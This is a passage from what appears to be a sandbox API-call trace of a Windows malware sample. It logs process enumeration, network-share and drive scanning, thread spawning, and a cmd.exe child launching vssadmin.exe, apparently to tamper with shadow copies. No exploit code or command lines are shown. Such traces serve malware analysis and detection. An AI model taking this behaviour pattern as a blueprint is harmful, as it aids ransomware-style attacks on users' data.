out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0226.296] lstrlenW (lpString="dwm.exe") returned 7 [0226.296] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0226.297] lstrlenW (lpString="explorer.exe") returned 12 [0226.297] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0226.298] lstrlenW (lpString="spoolsv.exe") returned 11 [0226.298] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0226.299] lstrlenW (lpString="taskhost.exe") returned 12 [0226.299] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.300] lstrlenW (lpString="svchost.exe") returned 11 [0226.300] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0226.300] lstrlenW (lpString="taskeng.exe") returned 11 [0226.300] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0226.301] lstrlenW (lpString="taskhost.exe") returned 12 [0226.301] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0226.302] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0226.302] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0226.303] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0226.303] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0226.304] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0226.304] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0226.304] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0226.304] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0226.305] lstrlenW (lpString="always_winds.exe") returned 16 [0226.305] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0226.306] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0226.306] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0226.307] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0226.307] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0226.307] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0226.308] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0226.308] lstrlenW (lpString="alienwed.exe") returned 12 [0226.308] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0226.309] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0226.309] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0226.352] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0226.352] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0226.353] lstrlenW (lpString="mp beginners.exe") returned 16 [0226.353] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0226.354] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0226.354] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0226.355] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0226.355] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0226.356] lstrlenW (lpString="harassment.exe") returned 14 [0226.356] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0226.357] lstrlenW (lpString="francis-communication.exe") returned 25 [0226.357] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0226.357] lstrlenW (lpString="gccinformational.exe") returned 20 [0226.357] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0226.358] lstrlenW (lpString="diploma.exe") returned 11 [0226.358] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0226.359] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0226.359] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0226.360] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0226.360] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.361] lstrlenW (lpString="svchost.exe") returned 11 [0226.361] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0226.362] lstrlenW (lpString="sppsvc.exe") returned 10 [0226.362] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.363] lstrlenW (lpString="svchost.exe") returned 11 [0226.363] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0226.363] lstrlenW (lpString="qnuriy.exe") returned 10 [0226.363] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0226.364] lstrlenW (lpString="cmd.exe") returned 7 [0226.364] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0226.365] lstrlenW (lpString="conhost.exe") returned 11 [0226.365] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0226.365] lstrlenW (lpString="vssadmin.exe") returned 12 [0226.366] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0226.366] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0226.366] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0226.367] lstrlenW (lpString="VSSVC.exe") returned 9 [0226.367] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.368] lstrlenW (lpString="svchost.exe") returned 11 [0226.368] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0226.369] lstrlenW (lpString="LogonUI.exe") returned 11 [0226.369] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0226.370] CloseHandle (hObject=0x1ec) returned 1 [0226.370] Sleep (dwMilliseconds=0x1f4) Thread: id = 5 os_tid = 0xb7c [0192.293] WaitForSingleObject (hHandle=0x18fde4, dwMilliseconds=0xffffffff) returned 0xffffffff [0192.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x524a30 | out: hHeap=0x4f0000) returned 1 Thread: id = 6 os_tid = 0xb80 [0192.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a30 [0192.294] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a30, Size=0x20) returned 0x525ca0 [0192.294] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525ca0, Size=0x40) returned 0x526ba0 [0192.294] GetLogicalDrives () returned 0x4 [0192.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x55e600 [0192.295] GetComputerNameW (in: lpBuffer=0x55e604, nSize=0x249ff6c | out: lpBuffer="XDUWTFONO", nSize=0x249ff6c) returned 1 [0192.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x56e608 [0192.295] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x249ff3c | out: lphEnum=0x249ff3c*=0x5261e0) returned 0x0 [0192.295] WNetEnumResourceW (in: hEnum=0x5261e0, lpcCount=0x249ff38, lpBuffer=0x56e608, lpBufferSize=0x249ff40 | out: lpcCount=0x249ff38, lpBuffer=0x56e608, lpBufferSize=0x249ff40) returned 0x103 [0192.295] WNetCloseEnum (hEnum=0x5261e0) returned 0x0 [0192.296] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x249ff3c | out: lphEnum=0x249ff3c*=0x3ed1300) returned 0x0 [0200.950] WNetEnumResourceW (in: hEnum=0x3ed1300, lpcCount=0x249ff38, lpBuffer=0x56e608, lpBufferSize=0x249ff40 | out: lpcCount=0x249ff38, lpBuffer=0x56e608, lpBufferSize=0x249ff40) returned 0x0 [0200.950] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x394e730 [0200.950] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x56e608, lphEnum=0x249ff10 | out: lphEnum=0x249ff10*=0x526360) returned 0x0 [0201.355] WNetEnumResourceW (in: hEnum=0x526360, lpcCount=0x249ff0c, lpBuffer=0x394e730, lpBufferSize=0x249ff14 | out: lpcCount=0x249ff0c, lpBuffer=0x394e730, lpBufferSize=0x249ff14) returned 0x103 [0201.355] WNetCloseEnum (hEnum=0x526360) returned 0x0 [0201.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x3f0b0c8 [0201.355] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x56e628, lphEnum=0x249ff10 | out: lphEnum=0x249ff10*=0x0) returned 0x4b8 [0225.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x40170e0 [0225.439] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x56e648, lphEnum=0x249ff10 | out: lphEnum=0x249ff10*=0x0) returned 0x4c6 [0225.462] WNetEnumResourceW (in: hEnum=0x3ed1300, lpcCount=0x249ff38, lpBuffer=0x56e608, lpBufferSize=0x249ff40 | out: lpcCount=0x249ff38, lpBuffer=0x56e608, lpBufferSize=0x249ff40) returned 0x103 [0225.463] WNetCloseEnum (hEnum=0x3ed1300) returned 0x0 [0225.463] GetLogicalDrives () returned 0x4 [0225.463] Sleep (dwMilliseconds=0x64) [0225.566] GetLogicalDrives () returned 0x4 [0225.566] Sleep (dwMilliseconds=0x64) [0225.675] GetLogicalDrives () returned 0x4 [0225.675] Sleep (dwMilliseconds=0x64) [0225.784] GetLogicalDrives () returned 0x4 [0225.784] Sleep (dwMilliseconds=0x64) [0225.893] GetLogicalDrives () returned 0x4 [0225.893] Sleep (dwMilliseconds=0x64) [0226.003] GetLogicalDrives () returned 0x4 [0226.003] Sleep (dwMilliseconds=0x64) [0226.113] GetLogicalDrives () returned 0x4 [0226.113] Sleep (dwMilliseconds=0x64) [0226.221] GetLogicalDrives () returned 0x4 [0226.221] Sleep (dwMilliseconds=0x64) [0226.330] GetLogicalDrives () returned 0x4 [0226.330] Sleep (dwMilliseconds=0x64) Thread: id = 7 os_tid = 0xb84 [0193.799] GetTickCount () returned 0x31d8e [0193.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x54b548 [0193.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x54b548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0193.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x54b548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0193.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x54b548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130 [0193.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x54b548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138 [0193.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5403d8 [0193.804] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5403d8, Size=0x20) returned 0x56fa48 [0193.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5403d8 [0193.804] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5403d8, Size=0x20) returned 0x56fa70 [0193.804] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0193.805] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0193.805] Wow64DisableWow64FsRedirection (in: OldValue=0x259ff84 | out: OldValue=0x259ff84*=0x0) returned 1 [0193.805] lstrlenW (lpString="kernel32.dll") returned 12 [0193.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56fa48 | out: hHeap=0x4f0000) returned 1 [0193.805] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0193.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56fa70 | out: hHeap=0x4f0000) returned 1 [0193.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x52b590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0193.807] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0194.148] GetTickCount () returned 0x31e0a [0194.148] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0194.980] GetTickCount () returned 0x31e78 [0194.980] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0195.111] GetTickCount () returned 0x31ef4 [0195.111] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0196.613] GetTickCount () returned 0x31fb0 [0196.613] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0196.903] GetTickCount () returned 0x3202c [0196.903] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0197.689] GetTickCount () returned 0x3209a [0197.689] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0197.821] GetTickCount () returned 0x32116 [0197.821] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0198.817] GetTickCount () returned 0x32200 [0198.817] GetTickCount () returned 0x32200 [0198.817] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0199.280] GetTickCount () returned 0x32386 [0199.280] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0199.474] GetTickCount () returned 0x32442 [0199.474] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0199.602] GetTickCount () returned 0x324be [0199.602] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0199.748] GetTickCount () returned 0x3255a [0199.748] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0199.941] GetTickCount () returned 0x325f6 [0199.942] GetTickCount () returned 0x325f6 [0199.942] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0200.044] GetTickCount () returned 0x32664 [0200.044] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0200.315] GetTickCount () returned 0x3276d [0200.315] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0200.663] GetTickCount () returned 0x32895 [0200.663] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0201.173] GetTickCount () returned 0x32a98 [0201.173] GetTickCount () returned 0x32a98 [0201.173] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0201.768] GetTickCount () returned 0x32c4d [0201.768] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0202.578] GetTickCount () returned 0x32e02 [0202.579] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0203.002] GetTickCount () returned 0x32fa7 [0203.002] GetTickCount () returned 0x32fa7 [0203.002] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0203.321] GetTickCount () returned 0x330ee [0203.321] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0205.192] GetTickCount () returned 0x332f1 [0205.192] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0205.604] GetTickCount () returned 0x333ac [0205.604] GetTickCount () returned 0x333ac [0205.604] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0205.826] GetTickCount () returned 0x33477 [0205.826] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0206.051] GetTickCount () returned 0x33561 [0206.052] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0206.391] GetTickCount () returned 0x3367a [0206.391] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0206.847] GetTickCount () returned 0x337b2 [0206.847] GetTickCount () returned 0x337b2 [0206.847] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0207.128] GetTickCount () returned 0x3389c [0207.128] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0207.593] GetTickCount () returned 0x339e4 [0207.593] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0207.958] GetTickCount () returned 0x33add [0207.958] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0208.115] GetTickCount () returned 0x33b79 [0208.115] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0208.518] GetTickCount () returned 0x33d0f [0208.518] GetTickCount () returned 0x33d0f [0208.518] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0208.904] GetTickCount () returned 0x33e47 [0208.904] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0209.032] GetTickCount () returned 0x33ed3 [0209.032] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0209.335] GetTickCount () returned 0x33ffc [0209.335] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0209.804] GetTickCount () returned 0x341d0 [0209.804] GetTickCount () returned 0x341d0 [0209.804] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0210.118] GetTickCount () returned 0x34308 [0210.118] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0210.418] GetTickCount () returned 0x343e2 [0210.418] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0210.530] GetTickCount () returned 0x3444f [0210.530] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0210.637] GetTickCount () returned 0x344bc [0210.637] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0210.746] GetTickCount () returned 0x3452a [0210.746] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0210.855] GetTickCount () returned 0x34597 [0210.855] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0211.000] GetTickCount () returned 0x34623 [0211.000] GetTickCount () returned 0x34623 [0211.000] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0211.205] GetTickCount () returned 0x346ee [0211.205] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 